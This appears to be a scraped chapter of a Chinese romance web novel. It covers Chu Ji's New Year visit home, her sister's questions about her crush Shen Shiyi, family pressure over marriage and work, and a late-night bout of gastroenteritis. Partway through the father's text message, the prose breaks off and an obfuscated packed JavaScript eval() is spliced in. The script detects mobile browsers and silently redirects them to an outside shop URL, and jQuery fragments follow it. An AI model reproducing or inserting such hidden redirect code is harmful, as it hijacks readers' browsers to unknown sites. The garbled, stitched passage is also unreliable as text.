文趣网 > 其他小说 > 翌日晴霁【先婚后爱】 > 6. 翌日晴霁
    捱过和父母单独相处的几天,楚霁终于等到了腊月二十九。

    晚上八点,楚霁准时准点骑着电驴去车站接姐姐楚霜。

    姐妹俩年纪差得不小,但关系并不生疏。

    一下车,楚霜就拉着行李箱跑到楚霁面前,一把抱住楚霁:“小雨!好想你呀~”

    “你终于回来陪我一起挨骂了!”楚霁腾出位置给楚霜坐驾驶位。

    楚霁坐在楚霜的背后,紧紧地抱着楚霜:“我实在受不了了,我要和你吐槽一下我回家的遭遇!”

    楚霁和楚霜说了和沈时翌出门吃饭的事儿,终于把心里憋屈已久的话全部宣泄了出来。

    楚霜对于楚霁的“遭遇”深表同情,在疯狂输出自己的认同后突然转移了话题:“虽然但是,那个什么沈时翌是谁?”

    楚霁诚实交代:“就我之前大学比赛认识的学长,人可牛了!”

    楚霜直接强调重点:“帅吗?高吗?多大了?”

    就知道姐姐是这种反应,楚霁坐在后座无奈地翻了个白眼:“挺帅的吧?比我……高一个头还多。年纪挺大了,28?29?30?”

    楚霜:“大什么大!你姐我都三十多了!”

    “什么叫吧?有没有照片,我要确认一下!”

    楚霁:“我怎么可能有人家照片啊!”

    楚霜:“朋友圈啊!”

    “哦……对哦……”楚霁有些没反应过来。

    楚霁点开沈时翌的朋友圈,大多数都是出门旅行的风景照和建筑照,本人并没有出镜。

    楚霁翻了很久才翻到过年时拍的全家福。

    照片里的沈时翌穿着黑色的高领毛衣,笑意很浅,头发顺直耷拉着,微微盖住眉毛。

    照片色调偏暖,让人觉着很温柔的人,但看久了又会觉得带着些许的疏远和冷淡。

    就像雾天的清晨,旭日刚刚升起,似乎感受到了些许的温暖,却因为水雾的笼罩,温暖变得有些不真实。

    让人猜不透是真的暖阳,还是因为过于渴望温暖而产生了错觉。

    楚霜顺着楚霁指的方向仔细地审视着照片里的沈时翌,忍不住感叹:“妹妹啊,这么帅,你和我说挺帅的吧?”

    楚霁:“这不是怕你和我的审美不一致嘛,我觉得他本人比照片好看。”

    楚霜没有回应,而是盯着楚霁看了又看。

    楚霁察觉到姐姐直白而长久的目光,内心并不完全坦荡的情绪似乎被知晓了。

    楚霁紧张地捏着手机壳的边缘,正想反问姐姐,没想到楚霜先发制人:“楚霁,你是不是喜欢人家?”

    楚霁被吓得一激灵,连忙否认:“你疯啦!我和人家都不熟,怎么可能喜欢!”

    在楚霁这儿,喜欢应该是建立在彼此很熟络的情况下才会发生的事。

    但,楚霜并不这么认为:“谁和你说一定要熟络才能喜欢啊!你见到他就会下意识地紧张,会在乎自己的外貌,会忍不住想要靠近。每天总会莫名地想起他,想了解他更多……这对我来说就是喜欢啊。再说了,喜欢就是喜欢,哪儿有那么多标准。”

    楚霜盯着妹妹皱得越来越紧的眉头何咬着下唇仔细思考的模样,忍不住继续追问:“所以,是有点喜欢咯?”

    楚霁从小到大都没有和家人聊过心动,此刻依旧有些扭怩,自己也不确定自己的想法,只能尴尬地推了推楚霜的脸:“哎呀,你别看我!看路!”

    楚霜知道是自家妹妹害羞,也没再这么直接:“好好好,知道了。反正作为过来人告诉你,趁荷尔蒙正盛,别压抑自己的喜欢。要是有点心动就尝试多接触呗,如果喜欢那就上,不喜欢就拜拜。”

    “沈时翌他人这么优秀,你要是真喜欢,那也不亏。”

    楚霁怕楚霜继续沈时翌的话题,急忙生硬地打断:“哎呀,好好好,我知道啦!赶紧走吧……”

    ——

    新年如约至,但不得不承认长大后的新年不再和小时候一样快乐。

    虽然楚霁还能借学生的身份领压岁钱,但还是逃不过长辈对于成家立业的追问。

    明明好不容易回家一次,能在饭桌上大快朵颐,享受北柔鲜有的饭菜,耳边却永远充斥着让人郁闷的话语。

    “小霜啊,我什么时候才能喝到你喜酒哟~”

    “陈雅,也没见你带男朋友回家,是打算学你表姐到三十好几还没嫁出去呀?”

    “小雨,你看你,毕业出来都奔三了吧,怎么找好人家呀?可别学你姐和表姐不嫁人哦~不然到时候你爸妈一个女儿都卖不出去呀!”

    无一幸免……

    前几年还在读大学的楚霁只是被追着说学业要努力,要考公考研教资三手抓。现在上岸了,便开始操心未来有没有人要了。

    楚霁不解,不明白为什么他们要用“有人要”来评判一个人的价值。甚至要用“卖女儿”如此物化女性的词语来形容结婚。

    楚霁也不愿费口舌争论,要是反驳了只会得一个不尊重长辈的名声,还让自己情绪更糟。

    楚霁只能随口糊弄过去,快速吃了两口饭便离席了。

    出到院子的楚霁仍感到很失望,胸口仿佛被什么东西堵住,总感觉需要做些什么来排解此刻负面的情绪。

    顾不上夜晚农村小路的漆黑和长吠不止的野狗声给人带来的恐惧感,楚霁带上蓝牙耳机隔绝外界,漫无目的地绕着小路快步地走着。

    不知绕了多久,耳机突然传来了通知:

    “沈时翌发来一条新消息:新年快乐。希望楚霁同学新年愿望都实现,愿安康顺遂。”

    瞬间,楚霁停住了前行的步伐,怔在了原地。

    是幻听了吗?

    楚霁急忙解锁手机,确认消息。

    没有幻听。

    一股热意涌上,覆盖了原本冰冷的沮丧。

    楚霁深呼吸了一口气,潮冷的空气变得不那么难以承受。

    周围的路灯不知从何时变成了暖色调,犬吠也早已消停。

    楚霁往前跨了一步,站在暖光下,低头看着屏幕,梨涡浅浅,思考了片刻,才在屏幕上打下回复。

    “新年快乐!也希望沈时翌老师常觉胜意~”

    其实前几年彼此都会相互送新年祝福,不过通常都是楚霁先发。

    但今年楚霁因为情绪的影响,没有和往常一样早早发祝福。原以为不会收到祝福了,没想到,沈时翌提前送达祝福了。

    不得不承认,沈时翌的祝福让楚霁的情绪没那么消沉了。

    “嘭!”烟花在黑夜里绽放,发出巨响。

    楚霁抬头看天空,在死寂的黑里,一束束光亮没有一丝犹豫地冲向高处,绽放成一朵朵耀眼的花,而后又如同一滴滴闪着光亮的钻石坠落。

    楚霁辨认了片刻,是外婆院子的方向。肯定是舅舅已经开始了放烟花的环节。不想错过仙女棒的楚霁直接小跑回了外婆家。

    ——

    新年结束后楚霁在元宵节前便回北柔了,在高铁上收到父亲一条简短的讯息:

    “开学把你的助理辞了或者让他开个实习证明,你不想考公的话就

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17762382|209631||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    等研三的秋招,有南清的高校招聘你就去,没有你就直接回家。家里给你安排在南清的工作。”

    不是询问,不是建议,是直接略过自己想法的命令。不管是什么工作,父母都看不上,只觉得稳定才是真理,只觉得让自己留在自己身边才是真理。只觉得如果女儿的想法和自己不一致便默认无需倾听。

    姐姐是这样,现在自己也是。

    思及此,楚霁的情绪又开始变得很烦躁,习惯性地掏出笔电,开始码字。

    不知道从什么时候开始,楚霁只要和家人谈及未来,情绪就会变得很应激,情绪一旦变得消极就会试图通过写文来安抚自己的情绪。

    但这并不是个好习惯,因为一旦因为烦躁开始写文就会忘记时间,熬夜通宵成了常态。

    回校一周的时间里,楚霁很放飞自我,作息黑白颠倒,吃食也不规律。

    周三傍晚,才不到六点,天已经黑透了。

    楚霁仍像前几天一样窝在宿舍敲电脑,但今天的状态有些不太对。

    宿舍开了暖气,可依旧感到手脚冰凉,头像被铁锤砸了一样疼,肚子也一阵阵地疼。

    应该是胃病老毛病又犯了,楚霁象征性地喝了几口热水。

    可胃疼还是没有缓解,甚至逐渐感觉喉咙被什么东西堵住,没过多久头开始疼得有些剧烈。

    坐在电脑前的楚霁眼神都没法儿聚焦在一起了,最后还是决定先躺一会儿。

    躺下没多久楚霁就睡着了,但睡得很不踏实。

    梦里像来到了极寒之地,止不住的发冷颤抖,肚子也像是被无数根针反复刺扎着。

    呕吐的不适感突然涌上,睡梦中的楚霁惊醒,急匆匆跑到厕所干呕。

    干呕了很久都没有吐出来,楚霁脱力地坐在板凳上,试图缓解一下。

    可不适感一阵又一阵地涌上,楚霁反复地跑进厕所干呕,不知道尝试了多少次,楚霁才真的止不住呕吐起来。

    缓了很久,楚霁才没有感到头疼得难以忍受,但胃还是很刺痛。

    被轮番折磨后,楚霁算是完全清醒过来了,也清楚地知道自己是急性肠胃炎犯了。

    不敢乱吃药,楚霁只能强忍痛意漱口,驼着背穿上珊瑚绒外套,带好身份证出门。

    出到门口的楚霁才发现已经深夜十一点了,早就过了公交最晚班的时间点。

    学校离医院又很远,只能打车。

    楚霁就这么现在校门口等车赶来,可刚没等多久,就等来了绵绵细雨。

    本就寒冷的冬夜因为突来的雨变得更加刺骨。

    是深夜,车程又远,能打到车已经很幸运了,楚霁不敢再埋怨半分,生怕埋怨的话被老天听见直接把网约车取消,让雨下更大就完了。

    等了十分钟,网约车终于赶来,楚霁坐上车后如释重负。

    网约车司机是个阿姨,看到楚霁脸色苍白的模样很是担心,生怕自己慢了半分,全程卡着时速赶往医院的急诊,半小时的车程愣是被师傅压缩到了二十分钟。

    楚霁下车后正想往前走,胃却又开始唱反调了。

    突然的刺痛让楚霁蹲了下来,双手捂住肚子挤压,试图让自己能有所缓解。

    绵绵雨再次将楚霁的乌发一点点沾湿,阵阵寒风吹来,略有湿意的发丝被寒风吹起,而后粘在楚霁的脸颊上,本就冰凉的脸触碰到发丝的那一刻,楚霁冰冷得止不住地打颤,只感觉此刻坠入了冰窖。

    正试图站起走去急诊时,楚霁恍惚间听见了熟悉的声音:

    “楚霁?”